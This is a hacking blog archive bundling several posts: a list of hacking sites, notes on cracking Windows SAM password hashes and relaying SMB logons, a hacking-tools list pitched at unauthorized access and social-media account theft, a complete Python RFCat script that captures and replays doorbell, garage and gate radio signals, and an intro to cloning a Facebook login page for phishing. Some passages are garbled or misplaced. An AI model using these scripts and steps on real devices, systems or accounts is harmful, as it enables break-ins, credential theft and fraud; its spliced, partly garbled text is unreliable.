Clickbank Products

Tuesday, June 30, 2020

Top 18 Free Websites to Learn Hacking

  • The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.
  • Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
  • Makezine: Magazine that celebrates your right to tweak, hack, and bend any technology to your own will.
  • Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
  • NFOHump: Offers up-to-date .NFO files and reviews on the latest pirate software releases.
  • Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
  • HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
  • KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
  • SecurityFocus: Provides security information to all members of the security community, from end users, security hobbyists and network administrators to security consultants, IT Managers, CIOs and CSOs.
  • Phrack Magazine: Digital hacking magazine.
  • Hack Forums: Emphasis on white hat, with categories for hacking, coding and computer security.
  • SecTools.Org: List of 75 security tools based on a 2003 vote by hackers.
  • DEFCON: Information about the largest annual hacker convention in the US, including past speeches, video, archives, and updates on the next upcoming show as well as links and other details.
  • Hackaday: A hardware hack every day.
  • Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
  • Hakin9: E-magazine offering in-depth looks at both attack and defense techniques and concentrates on difficult technical issues.
  • Black Hat: The Black Hat Briefings have become the biggest and the most important security conference series in the world by sticking to our core value: serving the information security community by delivering timely, actionable security information in a friendly, vendor-neutral environment.
  • Offensive Security Training: Developers of Kali Linux and Exploit DB, and the creators of the Metasploit Unleashed and Penetration Testing with Kali Linux course.

Wednesday, June 10, 2020

CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks


Passwords are the key element of information require to access the system. Similarly, the first step is to access the system is that you should know how to crack the password of the target system. There is a fact that users selects passwords that are easy to guess. Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Cracking a Password

Passwords are stored in the Security Accounts Manager (SAM) file on a Windows system and in a password shadow file on a Linux system.

Manual password cracking involves attempting to log on with different passwords. The hacker follows these steps:
  1. Find a valid user account (such as Administrator or Guest).
  2. Create a list of possible passwords.
  3. Rank the passwords from high to low probability.
  4. Key in each password.
  5. Try again until a successful password is found.
A hacker can also create a script file that tries each password in a list. This is still considered manual cracking, but it's time consuming and not usually effective.

A more efficient way of cracking a password is to gain access to the password file on a system. Most systems hash (one-way encrypt) a password for storage on a system. During the logon process, the password entered by the user is hashed using the same algorithm and then compared to the hashed passwords stored in the file. A hacker can attempt to gain access to the hashing algorithm stored on the server instead of trying to guess or otherwise identify the password. If the hacker is successful, they can decrypt the passwords stored on the server.

Understanding the LAN Manager Hash

Windows 2000 uses NT LAN Manager (NTLM) hashing to secure passwords in transit on the network. Depending on the password, NTLM hashing can be weak and easy to break. For example, let's say that the password is 123456abcdef . When this password is encrypted with the NTLM algorithm, it's first converted to all uppercase: 123456ABCDEF . The password is padded with null (blank) characters to make it 14 characters long: 123456ABCDEF__ . Before the password is encrypted, the 14-character string is split in half: 123456A and
BCDEF__ . Each string is individually encrypted, and the results are concatenated:

123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15

The hash is 6BF11E04AFAB197FF1E9FFDCC75575B15 .

Cracking Windows 2000 Passwords

The SAM file in Windows contains the usernames and hashed passwords. It's located in the Windows\system32\config directory. The file is locked when the operating system is running so that a hacker can't attempt to copy the file while the machine is booted to Windows.

One option for copying the SAM file is to boot to an alternate operating system such as DOS or Linux with a boot CD. Alternately, the file can be copied from the repair directory. If a system administrator uses the RDISK feature of Windows to back up the system, then a compressed copy of the SAM file called SAM._ is created in C:\windows\repair . To expand this file, use the following command at the command prompt:

C:\>expand sam._ sam

After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against the SAM file using a tool like L0phtCrack. A similar tool to L0phtcrack is Ophcrack.

Download and install ophcrack from http://ophcrack.sourceforge.net/

Redirecting the SMB Logon to the Attacker

Another way to discover passwords on a network is to redirect the Server Message Block (SMB) logon to an attacker's computer so that the passwords are sent to the hacker. In order to do this, the hacker must sniff the NTLM responses from the authentication server and trick the victim into attempting Windows authentication with the attacker's computer.

A common technique is to send the victim an email message with an embedded link to a fraudulent SMB server. When the link is clicked, the user unwittingly sends their credentials over the network.

SMBRelay

An SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle (MITM) attacks.

SMBRelay2

Similar to SMBRelay but uses NetBIOS names instead of IP addresses to capture usernames and passwords.

pwdump2

A program that extracts the password hashes from a SAM file on a Windows system. The extracted password hashes can then be run through L0phtCrack to break the passwords.

Samdump

Another program that extracts NTLM hashed passwords from a SAM file.

C2MYAZZ

A spyware program that makes Windows clients send their passwords as clear text. It displays usernames and their passwords as users attach to server resources.

NetBIOS DoS Attacks

A NetBIOS denial-of-service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS Name Service on a target Windows systems and forces the system to place its name in conflict so that the name can no longer be used. This essentially blocks the client from participating in the NetBIOS network and creates a network DoS for that system.
  1. Start with a memorable phrase, such as "Maryhadalittlelamb"
  2. Change every other character to uppercase, resulting in "MaRyHaDaLiTtLeLaMb"
  3. Change a to @ and i to 1 to yield "M@RyH@D@L1TtLeL@Mb"
  4. Drop every other pair to result in a secure repeatable password or "M@H@L1LeMb"

Now you have a password that meets all the requirements, yet can be "remade" if necessary.
More information

BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.
More info
  1. Pentestmonkey Cheat Sheet
  2. Hacking Simulator
  3. Pentest Ftp
  4. Pentestmonkey Sql Injection
  5. Pentest Practice
  6. Pentest Vpn
  7. Pentest Azure
  8. Pentest+ Vs Ceh
  9. Pentest Keys

Best Hacking Tools

      MOST USEFUL HACKING TOOL

1-Nmap-Network Mapper is popular and free open source hacker's tool.It is mainly used for discovery and security auditing.It is used for network inventory,inspect open ports manage service upgrade, as well as to inspect host or service uptime.Its advantages is that the admin user can monitor whether the network and associated nodes require patching.

2-Haschat-It is the self-proclaimed world's fastest password recovery tool. It is designed to break even the most complex password. It is now released as free software for Linux, OS X, and windows.


3-Metasploit-It is an extremely famous hacking framework or pentesting. It is the collection of hacking tools used to execute different tasks. It is a computer severity  framework which gives the necessary information about security vulnerabilities. It is widely used by cyber security experts and ethical hackers also.

4-Acutenix Web Vulnerability Scanner- It crawls your website and monitor your web application and detect dangerous SQL injections.This is used for protecting your business from hackers.


5-Aircrack-ng - This tool is categorized among WiFi hacking tool. It is recommended for beginners  who are new to Wireless Specefic Program. This tool is very effective when used rightly.


6-Wireshark-It is a network analyzer which permit the the tester to captyre packets transffering through the network and to monitor it. If you would like to become a penetration tester or cyber security expert it is necessary to learn how to use wireshark. It examine networks and teoubleshoot for obstacle and intrusion.


7-Putty-Is it very beneficial tool for a hacker but it is not a hacking tool. It serves as a client for Ssh and Telnet, which can help to connect computer remotely. It is also used to carry SSH tunneling to byepass firewalls. So, this is also one of the best hacking tools for hackers.


8-THC Hydra- It is one of the best password cracker tools and it consist of operative and highly experienced development team. It is the fast and stable Network Login Hacking Tools that will use dictonary or bruteforce attack to try various combination of passwords against in a login page.This Tool is also very useful for facebook hacking , instagram hacking and other social media platform as well as computer folder password hacking.


9-Nessus-It is a proprietary vulnerability scanner developed by tennable Network Security. Nessus is the world's most popular vulnerability scanner according to the surveys taking first place in 2000,2003,2006 in security tools survey.


10-Ettercap- It is a network sniffing tool. Network sniffing is a computer tool that monitors,analyse and defend malicious attacks with packet sniffing  enterprise can keep track of network flow. 


11-John the Ripper-It is a free famous password cracking pen testing tool that is used to execute dictionary attacks. It is initially developed for Unix OS. The Ripper has been awarded for having a good name.This tools can also be used to carry out different modifications to dictionary attacks.


12-Burp Suite- It is a network vulnerability scanner,with some advance features.It is important tool if you are working on cyber security.


13-Owasp Zed Attack Proxy Project-ZAP and is abbreviated as Zed  Attack Proxy is among popular OWASP project.It is use to find vulnerabilities in Web Applications.This hacking and penetesting tool is very easy to use  as well as very efficient.OWASP community is superb resource for those people that work with Cyber Security.


14-Cain & Abel-It is a password recovery tool for Microsoft Operating System. It allow easy recovery of various kinds of passwords by sniffing the networks using dictonary attacks.


15-Maltego- It is a platform that was designed to deliver an overall cyber threat pictures to the enterprise or local environment in which an organisation operates. It is used for open source intelligence and forensics developed by Paterva.It is an interactive data mining tool.

These are the Best Hacking Tools and Application Which are very useful for penetration testing to gain unauthorized access for steal crucial data, wi-fi hacking , Website hacking ,Vulnerability Scanning and finding loopholes,Computer hacking, Malware Scanning etc.

This post is only for educational purpose to know about top hacking tools which are very crucial for a hacker to gain unauthorized access. We are not responsible for any type of crime.





More information


Monday, June 8, 2020

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

YardStick One: (from the last blog)


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 


Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 


from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

More info


How To Hack Facebook By Social Engineering Attack

This video is specially for educational purpose only. I'm not responsible for your any illegal activity. Thanks!

 Social Engineering Attack

Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords, and credit card details (and money), often for malicious reasons, by disguising as a trustworthy entity in an electronic communication. The purpose of this video tutorial is to show you How hackers hacked any thing by Social Engineering Attack.

Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking and credit card details, and passwords. The information is then used to access important accounts and can result in identity theft and financial loss.

Kali Linux has many tools for doing social engineering attacks. Setoolkit is the most powerful tool in Kali Linux to do a social engineering attacks over the same and different networks. 

Social Engineering over the same network requires the local IP address of your system just like this one 192.168.1.2. Now how you can get your local IP address from your system. To find local IP address just open up your terminal in Linux distribution:

Type: ifconfig wlan0 (if you are using WiFi)
Type: ifconfig eth0 (if you are using eth0)
Type: ifconfig (It display all information about your network)

Now you've another thing to do is that you just have to clone a web page you wanna clone like Facebook, g-mail, twitter etc. Similarly, If you wanna clone a facebook page so for this you just have to type www.facebook.com over your system's terminal for cloning a login page for Social Engineering attack.Still If you don't know how to do that so don't be worry, I did all the process practically in the below just go down and watch it!